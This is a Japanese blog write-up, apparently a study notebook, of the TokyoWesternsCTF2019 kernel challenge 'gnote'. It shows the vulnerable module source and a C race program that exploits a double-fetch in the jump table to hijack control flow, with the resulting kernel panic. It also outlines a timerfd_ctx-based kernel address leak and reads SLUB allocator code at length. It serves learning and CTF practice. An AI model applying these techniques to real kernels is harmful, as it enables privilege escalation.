newbieからバイナリアンへ

newbie dive into binary

昨日は海を見に行きました

【pwn 10.0】 gnote (kernel exploitation) - TokyoWesternsCTF2019

 

 

 

 

 

 

 

 

 1: イントロ

今年の夏に行われたTokyoWesternsCTF2019

pwn問題 "gnote" を解いていく

kernel exploit問題は初めてということもありかなり手こずった

 

今回はkernel問題を解ける環境を用意することと

脆弱性の存在する該当箇所及びカーネルの関連箇所・関連事項を自分で読んでデバッグして調べることに重きを置いているため

pwn問題を解くことが主な目的ではない

 

基本的には0.参考の【1】つめのサイトをほぼ全面的に参考にし

その中で指摘されている箇所を自分で調べて解釈した結果を覚書として残しておく

 

なお、今回の参考は多くあるため本記事の最後に載せてある

 

 

 

2: 解き始めるまで

問題について

与えられるファイルは

run.sh: qemuを動かすシェルスクリプト

rootfs.cpio: ファイルシステム。flagがあるがroot権限じゃないと見られない

bzImage: カーネルイメージ

gnote.c: カーネルモジュールのソースコード。ビルドされたモジュールはファイルシステムの / に存在し、ファイルシステムのロード時にinitファイルに従ってインストールされる

 

配布OSの情報は以下の通り

/ # uname -a
Linux (none) 4.19.65 #1 SMP Tue Aug 6 18:56:10 UTC 2019 x86_64 GNU/Linux

 

起動にUEFIではなくBIOSを用いており

初期のファイルシステムとしてrootfs.cpioがメモリ上にロードされる

(但し今回はそのファイルシステムがずっと使われる)

 

ファイルシステムカーネル本体のロード後はinitファイルの内容が実行される

initファイルの内容は以下の通り

 

#!/bin/sh
/bin/mount -t devtmpfs devtmpfs /dev
chown root:tty /dev/console
chown root:tty /dev/ptmx
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
#echo 0 > /proc/sys/kernel/kptr_restrict
#echo 0 > /proc/sys/kernel/dmesg_restrict

ifup eth0 > /dev/null 2>/dev/null

insmod gnote.ko

echo " ________  ________   ________  _________  _______ 
|\   ____\|\   ___  \|\   __  \|\___   ___\\  ___ \     
\ \  \___|\ \  \\ \  \ \  \|\  \|___ \  \_\ \   __/|    
 \ \  \  __\ \  \\ \  \ \  \\\  \   \ \  \ \ \  \_|/__  
  \ \  \|\  \ \  \\ \  \ \  \\\  \   \ \  \ \ \  \_|\ \ 
   \ \_______\ \__\\ \__\ \_______\   \ \__\ \ \_______\ 
    \|_______|\|__| \|__|\|_______|    \|__|  \|_______|
    
    
    "

#sh
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys

poweroff -d 1 -n -f

 

諸々のファイルシステムをマウントした後

dmesgを制限している

お誂え向きにデバッグ用のコンフィグまで下にコメントアウトして書いてある

(最初はこのファイルの存在に気づかず、dmesgを見ようとして試行錯誤しかなり時間を費やした)

それからuid1000でログインするようになっている

 

デバッグ環境について

権限が低い環境でデバッグをするのはしんどいため

まずinitファイル中でdmesgのstrictを外し、uid 0(root)でログインするようにinitを変更した

 

それと同時に一度cpioファイルを以下のコマンドで解凍し

cpio -idv < archive.cpio

ファイルシステム上に/dbgディレクトリを用意してその中でテスト用プログラムなどを置いておけるようにした

(なおコンパイル時は-staticオプションが必須である)

 

それから展開していじったファイルシステムqemuの起動時に再びcpio形式で圧縮してくれるようにrun.shを書き換えた

さらに、qemuの実行時にgdbからの接続を待つように-Sオプションを付与したり

デバッグ時にシンボルを参照できるようにKASLRを無効にしたりした

デバッグ中に使用したrun.shは以下の通り

#run.sh
#!/bin/sh
cd ./rootfs_filesystem #ファイルシステム中に入る
find ./ -print0 | cpio --null -o --format=newc > ./dbgrootfs.cpio #ファイルシステムをcpio形式で圧縮
mv ./dbgrootfs.cpio ../ #正しいディレクトリへ
cd ../
qemu-system-x86_64 -S  -kernel ~/linux-stable/arch/x86/boot/bzImage -append "loglevel=3 console=ttyS0 oops=panic panic=1 nokaslr" -initrd dbgrootfs.cpio  -m 64M -smp cores=2  -gdb tcp::12350 -nographic -monitor /dev/null -cpu kvm64,+smep #-enable-kvm

 

なお、自前OSの環境整備にかなり時間を費やしてしまったが非本質的なのでこれはAppendixとして本記事の最後に載せてある

 

 

 

3: モジュールの挙動について

モジュール自体は非常に簡素であり

/proc/gnoteエントリを作成し

そのwrite/readにハンドラが紐付けられている

//gnote.cより一部抜粋
struct note {
  unsigned long size;
  char *contents;
};
struct note notes[MAX_NOTE];

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
 switch(*(unsigned int *)buf){
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break;
  }
  mutex_unlock(&lock);
  return count;
}

ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

 

試しにecho "\x03\x00\x00\x00" > /proc/gnote とやると反応がなかったが

Cプログラムの中でopenして書き込んでやるとしっかりとdmesgで反応を見ることができた

/dbg # dmesg | tail
IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready
input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
random: mktemp: uninitialized urandom read (6 bytes read)
random: mktemp: uninitialized urandom read (6 bytes read)
gnote: loading out-of-tree module taints kernel.
gnote: module license 'unspecified' taints kernel.
Disabling lock debugging due to kernel taint
/proc/gnote created
random: fast init done
Delete Not implemented <-- しっかりwriteハンドラが応答していることがわかる

 

 

writeモジュールは1: add note5: select noteしか実装されていない

 

・add noteは最初の4byteで0x1を指定し、次の4byteでkmallocするサイズを指定する

その後確保した領域への書き込み等は実装されていない

・select noteは最初の4byteで0x5を指定し、次の4byteで選択するノートのインデックスを指定する

・readモジュールはユーザバッファに、選択されているノートを返す

 

この時点で書き込みをされていない領域をreadモジュールで返していることに明らかな違和感を覚える

加えて、本来 copy_from_user() で読まなければならないユーザ空間のバッファをそのまま参照しているのも明らかに怪しい

(なお今回SMEP有効/SMAP無効よりvalidな処理ではある)

 

実際、適当なサイズでノートを割り当てて直後にreadを行うと以下のようなバッファが得られる

/ # ./dbg/test2
read bytes: 100
str: �����
hex: *0x80*0x4*0x19*0x3*0x80*0x88*0xff*0xff*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x2*0x0*0x3e*0x0*0x1*0x0*0x0*0x0*0x30*0xa*0x40*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x78*0xdc*0xc*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x38*0x0*0x6*0x0*0x40*0x0*0x21*0x0*0x20*0x0*0x7f*0x45*0x4c*0x46*0x2*0x1*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x3*0x0*0x3e*0x0*0x1*0x0*0x0*0x0*0x74*0x20*0x0*0x0*0x0*0x0*0x0*0x0*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x7c*0xdc*0xf5*0x43*0x13*0xab*0xd3*0x0*0x1a*0x40*0x0*0x0*0x0*0x0*0x0*0xa9*0x12*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0xc8*0xfd*0xa1*0x92*0xff*0x7f*0x0*0x0*0x4d*0xb*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xf*0x0*0x0*0x0*0x6*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x4*0x40*0x0*0x0*0x0*0x0*0x0*0x6d*0x41*0x5*0xd8*0xf*0xb0*0x43*0x6e*0xa0*0x1a*0x40*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x18*0x90*0x6b*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x6d*0x41*0x65*0x15*0xcc*0x95*0xbc*0x91*0x6d*0x41*0xb1*0xc8*0xf*0xb0*0x43*0x6e*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x5a*0xa*0x40*0x0*0x0*0x0*0x0*0x0*0xb8*0xfd*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x1*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xc0*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xcc*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xd4*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xdb*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0xe6*0xff*0xa1*0x92*0xff*0x7f*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x21*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x90*0xb1*0x92*0xff*0x7f*0x0*0x0*0x10*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0xfd*0xfb*0x8b*0x17*0x0*0x0*0x0*0x0*0x6*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x0*0x10*0x0*0x0*0x0*0x0*0x0*0x0*0x11*0x0*0x0*0x0*0x0*0x0*0x0*0x0

 

kmalloc()で確保された初期化されていないバッファを読み込めていることがわかる



4: jmptableの脆弱性について

これから先はほぼ完全に参考【1】に則っている

その中で無知な点をdocumentやkernelを呼んでできる限り詳らかにしていく

 

switch分岐のアセンブラ

gnote_write()におけるswitch分岐のコンパイルコードは以下のようになっている

00100049 83 3b 05          CMP          dword ptr [RBX],0x5
0010004c 77 50             JA           LAB_0010009e
0010004e 8b 03             MOV          EAX,dword ptr [RBX]
00100050 48 8b 04 c5       MOV          RAX,qword ptr [PTR_LAB_00100250 + RAX*0x8]
00100058 e9 ab 0f 00       JMP          __x86_indirect_thunk_rax
-- Flow Override: CALL_RETURN (CALL_TERMINATOR)

 

ここでRBXはユーザバッファから渡された最初の4byte、すなわち選択メニューの番号が入ったバッファのアドレスを指している

最初にこれが5以下かをCMPし

次にその値をもとにPTR_LAB_00100250に存在するjmptableのエントリの示す先にJMPしている

(unsignedとして比較しているため0以下でも問題ない)

 

ここでRBXは2回参照外しされていることに注目する

間には1命令しかないがもしこの間にRBXの値が変更されてしまえば

CMPチェックをすり抜けて異様なアドレスをjmptableと認識しながらJMPしてしまうことになる

かなりタイトな制約ではあるが、別スレッドで無限回この操作を繰り返せばいつかはこの制約を突破できると予測できる

(タイミングが合わずCMPの前に[RBX]を書き換えてしまったとしても、switchのdefaultケースに飛ぶだけで何も問題はない)

 

以下のサンプルコードで実験してみる

//https://rpis.ec/blog/tokyowesterns-2019-gnote/
#include<unistd.h>
#include<fcntl.h>
#include<pthread.h>
#include<stdio.h>

#define FAKE "0x55555555"

void* thread_func(void* arg) {
//just repeat xchg $rbx $rax(==0x55555555)
    printf("...repeating xchg $rbx $0x55555555\n");
    asm volatile("mov $" FAKE ", %%eax\n"
                 "mov %0, %%rbx\n"
                 "lbl:\n"
                 "xchg (%%rbx), %%eax\n"
                 "jmp lbl\n"
                 :
                 : "r" (arg)
                 : "rax", "rbx"
                 );
    return 0;
}

int main(void) {
    int fd = open("/proc/gnote", O_RDWR);
    if(fd<=0){
      printf("open error\n");
      return 1;
    }
    unsigned int buf[2] = {0, 0x10001};

    pthread_t thr;
    pthread_create(&thr, 0, thread_func, &buf[0]);

    for(int ix=0;ix!=100000;++ix){
      printf("try :%d\n",ix);
      write(fd, buf, sizeof(buf));
    }

    return 0;
}

 

これは一方でgnote_write()を呼び出し続け

もう一方のスレッドでRBXの値を0x55555555に変更し続ける

もし2者のタイミングが一致すれば

CMP前までは0が渡されてjmptableのエントリ選択まで進み

その後値が0x55555555に変えられて

jmptable + 0x55555555 * 0x8にJMPすることになるはずである



実際にテストしてみると下のように7600回目程のswitchでパニックが発生している

 

(..snipped..)
try :7609
try :7610
try :7611
BUG: unable to handle kernel paging request at 000000026aaabb40
PGD 8000000002427067 P4D 8000000002427067 PUD 0 
Oops: 0000 [#1] SMP PTI
CPU: 3 PID: 93 Comm: test1 Tainted: P           O      4.19.65 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
RIP: 0010:gnote_write+0x20/0xd0 [gnote]
Code: Bad RIP value.
RSP: 0018:ffffc9000026bda0 EFLAGS: 00000293
RAX: 0000000055555555 RBX: 00007ffe999129d0 RCX: ffffc9000026bea0
RDX: ffff888003105c40 RSI: 00007ffe999129d0 RDI: ffffffffc0002100
RBP: ffffc9000026bdb0 R08: 0000000000000001 R09: 0000000000000008
R10: ffff8880031c0e38 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc9000026bea0 R14: 00007ffe999129d0 R15: 0000000000000000
FS:  00000000006df880(0000) GS:ffff888003580000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffffbffffff6 CR3: 0000000002434000 CR4: 00000000001006e0
Call Trace:
 proc_reg_write+0x39/0x60
 __vfs_write+0x26/0x150
 vfs_write+0xad/0x180
 ksys_write+0x48/0xc0
 __x64_sys_write+0x15/0x20
 do_syscall_64+0x57/0x270
 ? schedule+0x27/0x80
 ? exit_to_usermode_loop+0x79/0xa0
 entry_SYSCALL_64_after_hwframe+0x44/0xa9
RIP: 0033:0x405187
Code: 44 00 00 41 54 55 49 89 d4 53 48 89 f5 89 fb 48 83 ec 10 e8 8b fd ff ff 4c 89 e2 41 89 c0 48 89 ee 89 df b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 35 44 89 c7 48 89 44 24 08 e8 c4 fd ff ff 48
RSP: 002b:00007ffe99912990 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 0000000000405187
RDX: 0000000000000008 RSI: 00007ffe999129d0 RDI: 0000000000000003
RBP: 00007ffe999129d0 R08: 0000000000000000 R09: 000000000000000a
R10: 0000000000000000 R11: 0000000000000293 R12: 0000000000000008
R13: 0000000000000000 R14: 00000000006d6018 R15: 0000000000000000
Modules linked in: gnote(PO)
CR2: 000000026aaabb40
---[ end trace c756a9fd80773a41 ]---
RIP: 0010:gnote_write+0x20/0xd0 [gnote]
Code: Bad RIP value.
RSP: 0018:ffffc9000026bda0 EFLAGS: 00000293
RAX: 0000000055555555 RBX: 00007ffe999129d0 RCX: ffffc9000026bea0
RDX: ffff888003105c40 RSI: 00007ffe999129d0 RDI: ffffffffc0002100
RBP: ffffc9000026bdb0 R08: 0000000000000001 R09: 0000000000000008
R10: ffff8880031c0e38 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc9000026bea0 R14: 00007ffe999129d0 R15: 0000000000000000
FS:  00000000006df880(0000) GS:ffff888003580000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffffbffffff6 CR3: 0000000002434000 CR4: 00000000001006e0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled
Rebooting in 1 seconds..




おおよその展望

jmptableの脆弱性によりほぼ任意の場所にJMPできるようになると考えられる

それから初期化されていないメモリ上に仮にkernelのとあるアドレスを指し示すポインタが入っていた場合、その値を読むことでkernel addressをリークすることができる

もしこの両者が可能ならば、kernel内の任意の(特定の、指定した)アドレスにJMPできるようになる

 

そのためにはまずkernelのメモリ割り当てについて理解する必要がある

ということで以下ではkmalloc()とslub allocatorについて解釈していく





5:kmalloc()とスラブアロケータについて

スラブアロケータ概略

Linuxではメモリ割り当ての際にバディシステムを採用している

これはメモリをページ単位で割当てるというものであるが

これでは少量のメモリ要求に対してかなりのオーバーヘッドが発生してしまい非常にメモリ効率が悪くなってしまう

 

そこで採用されているのがスラブアロケータである

これにはSLAB/SLUB/SLOBという系統があるが

SLAB: SunOSで実装された初期のアロケータ

SLUB: 現在主に使用されているアロケータ

SLOB: 組み込み向け等で使用されているアロケータ

といった用途になっている

以下では専らSLUBについて扱うことにする

 

SLUBは同じサイズのオブジェクトはある決まった領域に置く、究極のbestfit方式である(といった認識である)

kernelレベルでは同じ構造体を多数回割当しては解放するためこの手法だとフラグメンテーションが起こりにくいうメリットがある

詳しいことは参考の【3】に書いてある

 

スラブで主に登場する構造体はkmem_cache_cpu/kmem_cache_node/kmem_cacheであり、それぞれ省略してc/n/sと呼ぶ

大雑把にはsがc/nのポインタをメンバとして保持し、c/sはそれぞれスラブのリストを保持している

cは現在のCPUに紐付けられた空き領域のあるスラブを保持し、sは他のNUMAノードのメモリに保持されたスラブを保持している

 

以下で実際にコードを眺めてみよう

 

kmalloc()

// /include/linux/slab.h
static __always_inline void *kmalloc(size_t size, gfp_t flags)
{
	if (__builtin_constant_p(size)) {
#ifndef CONFIG_SLOB
		unsigned int index;
#endif
		if (size > KMALLOC_MAX_CACHE_SIZE)
			return kmalloc_large(size, flags);
#ifndef CONFIG_SLOB
		index = kmalloc_index(size);

		if (!index)
			return ZERO_SIZE_PTR;

		return kmem_cache_alloc_trace(
				kmalloc_caches[kmalloc_type(flags)][index],
				flags, size);
#endif
	}
	return __kmalloc(size, flags);
}

 

今回はSLUBではないためサイズがKMALLOC_MAX_CACHE_SIZE未満であればkmem_cache_alloc_trace()を呼んで返る

その際に引数として渡されるkmalloc_cachesはkmem_cache*型の二重配列で、フラグごとサイズごとのスラブキャッシュを示している

今はkmalloc_index(size)によって得たインデックスによって使用するキャッシュを指定している




kmem_cache_alloc_trace()

// /mm/slub.c
void *kmem_cache_alloc_trace(struct kmem_cache *s, gfp_t gfpflags, size_t size)
{
	void *ret = slab_alloc(s, gfpflags, _RET_IP_);
	trace_kmalloc(_RET_IP_, ret, size, s->size, gfpflags);
	ret = kasan_kmalloc(s, ret, size, gfpflags);
	return ret;
}

 

内部では上の3つの関数が呼ばれている

以下その3つを順に見ていく





slab_alloc()/ slab_alloc_node()

内部で第3引数にNUMA_NO_NODEを指定してそのままslab_alloc_node()を呼ぶ

// /mm/slub.c excerpt
static __always_inline void *slab_alloc_node(struct kmem_cache *s,
		gfp_t gfpflags, int node, unsigned long addr)
{
	void *object;
	struct kmem_cache_cpu *c;
	struct page *page;
	unsigned long tid;

	s = slab_pre_alloc_hook(s, gfpflags);
	if (!s)
		return NULL;
redo:
    // cmpxchgが同一のCPUで行われることの確認
	do {
		tid = this_cpu_read(s->cpu_slab->tid);
		c = raw_cpu_ptr(s->cpu_slab);
	} while (IS_ENABLED(CONFIG_PREEMPT) &&
		 unlikely(tid != READ_ONCE(c->tid)));

	barrier();

	/*
	 * The transaction ids are globally unique per cpu and per operation on
	 * a per cpu queue. Thus they can be guarantee that the cmpxchg_double
	 * occurs on the right processor and that there was no operation on the
	 * linked list in between.
	 */

	object = c->freelist;
	page = c->page;
	if (unlikely(!object || !node_match(page, node))) {
	    //スラブが空である
		object = __slab_alloc(s, gfpflags, node, addr, c);
		stat(s, ALLOC_SLOWPATH);
	} else {
	    //スラブからスラブオブジェクトを取ってこれる
		void *next_object = get_freepointer_safe(s, object);

		/*
		 * The cmpxchg will only match if there was no additional
		 * operation and if we are on the right processor.
		 *
		 * The cmpxchg does the following atomically (without lock
		 * semantics!)
		 * 1. Relocate first pointer to the current per cpu area.
		 * 2. Verify that tid and freelist have not been changed
		 * 3. If they were not changed replace tid and freelist
		 *
		 * Since this is without lock semantics the protection is only
		 * against code executing on this cpu *not* from access by
		 * other cpus.
		 */
		if (unlikely(!this_cpu_cmpxchg_double(
				s->cpu_slab->freelist, s->cpu_slab->tid,
				object, tid,
				next_object, next_tid(tid)))) {

			note_cmpxchg_failure("slab_alloc", s, tid);
			goto redo;
		}
		prefetch_freepointer(s, next_object);
		stat(s, ALLOC_FASTPATH);
	}
	/*
	 * If the object has been wiped upon free, make sure it's fully
	 * initialized by zeroing out freelist pointer.
	 */
	if (unlikely(slab_want_init_on_free(s)) && object)
		memset(object + s->offset, 0, sizeof(void *));

	if (unlikely(slab_want_init_on_alloc(gfpflags, s)) && object)
		memset(object, 0, s->object_size);

	slab_post_alloc_hook(s, gfpflags, 1, &object);

	return object;
}

 

freelistに有効な空き領域が繋がっている場合にはthis_cpu_cmpxchg_doubleマクロを使っている

this_cpu_cmpxchg_doubleは__pcpu_double_call_return_bool macroとdefineされている

これによってfreelistとtidを新しいものにつなぎ替える

(この辺マクロが複雑でよくわからなかった)

次のprefetch_freepointer()では予め次のfreelistに繋がれるスラブオブジェクトの更に次のオブジェクトを名前の通りprefetchしている

 

最後にslab_post_alloc_hook()が呼ばれているがこれは以下のようになっている

static inline void slab_post_alloc_hook(struct kmem_cache *s, gfp_t flags,
					size_t size, void **p)
{
	size_t i;

	flags &= gfp_allowed_mask;
	for (i = 0; i < size; i++) {
		void *object = p[i];

		kmemleak_alloc_recursive(object, s->object_size, 1,
					 s->flags, flags);
		kasan_slab_alloc(s, object, flags);
	}

	if (memcg_kmem_enabled())
		memcg_kmem_put_cache(s);
}

 

HOGEあとで書くHOGE

 

 

 

つまりは

まぁ今のところは特定のスラブが用意されているものはそこにオブジェクトが確保され

そうでないものは汎用スラブにオブジェクトが確保されると認識しておけば良い

以下ではこれらのメモリ確保のざっくりした前提を踏まえて、実際に初期化されていないメモリからのleakを目指す

 





6: timerfd_ctxを利用したkernel symbol の leak

前述したように初期化されていないメモリに対してgnote_read()を呼ぶことそこに入っていた値をleakすることができる

前もって入れておくデータとしてはカーネルが使用する何らかの構造体を入れる

では対象としてどの構造体をターゲットにするかだが、"任意のタイミングで生成・解放すること"ができ、且つ"kernel内のシンボルのアドレスを含む"ような構造体であれば何でも良い

【1】ではこれらを満たす構造体としてtimerfd_ctx構造体を利用している

よって以下ではtimerfd_ctx構造体についてカーネルを読んでいく

 

__x64_sys_timerfd_createシステムコール

timerfd_ctxは以下の__x64_sys_timerfd_createシステムコール内で割り当てられる

SYSCALL_DEFINE2(timerfd_create, int, clockid, int, flags)
{
	int ufd;
	struct timerfd_ctx *ctx;

	ctx = kzalloc(sizeof(*ctx), GFP_KERNEL);
	if (!ctx)
		return -ENOMEM;

	init_waitqueue_head(&ctx->wqh);
	spin_lock_init(&ctx->cancel_lock);
	ctx->clockid = clockid;

	if (isalarm(ctx))
		alarm_init(&ctx->t.alarm,
			   ctx->clockid == CLOCK_REALTIME_ALARM ?
			   ALARM_REALTIME : ALARM_BOOTTIME,
			   timerfd_alarmproc);
	else
		hrtimer_init(&ctx->t.tmr, clockid, HRTIMER_MODE_ABS);

	ctx->moffs = ktime_mono_to_real(0);

	ufd = anon_inode_getfd("[timerfd]", &timerfd_fops, ctx,
			       O_RDWR | (flags & TFD_SHARED_FCNTL_FLAGS));
	if (ufd < 0)
		kfree(ctx);

	return ufd;
}

 

 

(但しエラーチェック等は省略してある)

 

 

この中でtimerfd_ctxは以下のように定義される構造体であり、タイマの残り時間やIDやexpire時のハンドラ等を保持する

struct timerfd_ctx {
	union {
		struct hrtimer tmr;
		struct alarm alarm;
	} t;
	ktime_t tintv;
	ktime_t moffs;
	wait_queue_head_t wqh;
	u64 ticks;
	int clockid;
	short unsigned expired;
	short unsigned settime_flags;	/* to show in fdinfo */
	struct rcu_head rcu;
	struct list_head clist;
	spinlock_t cancel_lock;
	bool might_cancel;
};




ソースコード中では6行目でkzalloc()によってこの構造体が確保されている

(kzalloc()は領域を0クリアするフラグをつけてkmalloc()を呼ぶラッパ)

 

しかし実際にカーネルデバッグしてみると以下のようになっている

=> 0xffffffff81101dcd <__x64_sys_timerfd_create+93>:	call   0xffffffff810d0e60 <kmem_cache_alloc>
Guessed arguments:
arg[0]: 0xffff888000090700 --> 0x1eac0  <-- この引数の意味は以下参照
arg[1]: 0x6080c0 


=> 0xffffffff81101dc1 <__x64_sys_timerfd_create+81>:	
    mov    rdi,QWORD PTR [rip+0x542b58]        # 0xffffffff81644920 <kmalloc_caches+64>

 

kernelのビルド時に最適化でkmem_cache_alloc()直接呼び出すように変更されている

速度的にはそっちのほうがいいんだろうが、デバッグする側としてはマクロと最適化でインラインが多発しているのはかなりめんどくさい

 

 

さて、上に現れていたkmem_cache_alloc()は2つの引数をとっていた

引数がどんな意味を持つかを以下のコードと照らし合わせる

//mm/slub.h
void *kmem_cache_alloc(struct kmem_cache *s, gfp_t gfpflags)
{
	void *ret = slab_alloc(s, gfpflags, _RET_IP_);

	trace_kmem_cache_alloc(_RET_IP_, ret, s->object_size,
				s->size, gfpflags);

	return ret;
}

 

つまり、cachep==0xffff888000090700, flags==0x6080c0として呼ばれていることがわかる

(cachepのアドレスはすぐあとで使う)

 

backtrace情報を頼りにしながら読み進めていくと、以下のように部分に遭遇する

今kmem_cache_alloc+186と表示されているが、これは最適化されていて実際にはslab_alloc_node()を実行しているものと思われる

   0xffffffff810d0f18 <kmem_cache_alloc+184>:	xor    esi,esi
=> 0xffffffff810d0f1a <kmem_cache_alloc+186>:	call   0xffffffff8119c6c0 <memset>
   0xffffffff810d0f1f <kmem_cache_alloc+191>:	mov    r8,rax
   0xffffffff810d0f22 <kmem_cache_alloc+194>:	
    jmp    0xffffffff810d0ed2 <kmem_cache_alloc+114>
   0xffffffff810d0f24:	xchg   ax,ax
   0xffffffff810d0f26:	nop    WORD PTR cs:[rax+rax*1+0x0]
Guessed arguments:
arg[0]: 0xffff888000151300 --> 0xffff888000151400 --> 0xffff888000151500 --> 0xffff888000151600 --> 0xffff888000151700 --> 0xffff888000151800 (--> ...)
arg[1]: 0x0 
arg[2]: 0x100 <-- memsetの引数

 

//mm/slub.c slab_alloc_node()
	if (unlikely(gfpflags & __GFP_ZERO) && object)
		memset(object, 0, s->object_size);

	slab_post_alloc_hook(s, gfpflags, 1, &object);

	return object;

 

slab_alloc_node()では最後に割り当てたスラブオブジェクトを0クリアするのだが

その際のmemset()の引数のs->object_sizeを読めばオブジェクトのサイズを読むことができる

今回はデバッグ結果からスラブオブジェクトのサイズは0x100であることがわかる

 

また、kmem_cache structureにはchar *nameメンバがあり

これを参照することでスラブの名前を見ることができる

今回kmem_cache_alloc()に渡されていた第一引数は0xffff888000090700(先程見たcachepの値)であり、調べてみると以下のようになる

gdb-peda$ x/20gx 0xffff888000090700
0xffff888000090700:	0x000000000001eac0	0x0000000040000000
0xffff888000090710:	0x0000000000000005	0x0000010000000100
0xffff888000090720:	0x0000000d00000000	0x0000001000000010
0xffff888000090730:	0x0000000000000010	0x0000000000000001
0xffff888000090740:	0x0000000000000000	0x0000000800000100
0xffff888000090750:	0x0000000000000000	0xffffffff81637d6d
0xffff888000090760:	0xffff888000090860	0xffff888000090660
